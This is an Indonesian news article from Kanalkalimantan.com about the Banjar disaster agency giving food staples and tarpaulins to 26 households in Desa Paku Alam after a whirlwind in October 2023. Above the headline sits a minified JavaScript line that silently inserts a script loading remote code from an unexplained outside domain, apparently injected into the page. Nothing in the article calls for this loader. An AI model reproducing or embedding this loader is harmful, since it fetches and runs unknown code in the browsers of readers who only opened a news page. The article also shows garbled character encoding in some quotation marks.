(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Warga Desa Paku Alam Terima Bantuan Sembako dan Terpal dari BPBD Banjar

KANALKALIMANTAN.COM, MARTAPURA â€“ Badan Penanggulan Bencana Daerah (BPBD) Kabupaten Banjar serahkan bantuan sosial bencana puting beliung di Desa Paku Alam, Kecamatan Sungai Tabuk, Rabu (18/10/2023).

Desa Paku Alam satu dari 11 desa di Kecamatan Sungai Tabuk yang terdampak angin puting beliung.

Akibat angin puting beliung Senin (16/10/2023) lalu, BPBD Banjar mendata ada 26 rumah dengan 35 kepala keluarga dan 101 jiwa terdampak bencana.

Tidak hanya rumah tinggal milik warga, bangunan Madrasah Aliyah Raudatul Islamiyah, Madrasah Tsanawiyah Raudatul Islamiyah dan penggilingan padi H Lukman dan Asâ€™ari ikut tersapu angin kencang.

Kepala Desa Paku Alam, Sapiâ€™e mewakili warganya yang terdampak musibah angin puting beliung mengucapkan terima kasih kepada BPBD Banjar yang sudah memberi bantuan yang langsung diantar ke lokasi.

Bantuan yang diberikan oleh BPBD Kabupaten Banjar berupa terpal, minyak goreng, gula, mie instan dan lainnya

Kepala Desa Paku Alam mengharapkan bantuan yang lain berupa bahan material bangunan seperti kayu dan atap yang paling diperlukan warga.

“Kami dari pemerintah desa juga membantu warga yang terdampak angin puting beliung dengan sebatas kemampuan kami,” ucap Sapi’e.

â€œMudah-mudahan ada hikmah dibalik musibah ini dan bagi keluarga yang terkena musibah diberikan oleh Allah kesabaran,â€ doanya.

Sementara itu, Kalak BPBD Kabupaten Banjar, Warsita mengatakan, bantuan tersebut bisa bermanfaat bagi warga yang mendapat musibah.

“Kami berikan bantuan berupa sembako dan terpal, sesuai dengan daftar data yang masuk yaitu untuk Desa Paku Alam ada 26 rumah, terdiri dari 35 kepala keluarga dengan 101 jiwa,” katanya.

BPBD Banjar akan mendata secara detail kondisi kerusakan rumah akibat musibah untuk diusulkan mendapatkan bantuan sosial sesuai aturan yang berlaku. (Kanalkalimantan.com/nh)

Reporter : nh
Editor : kk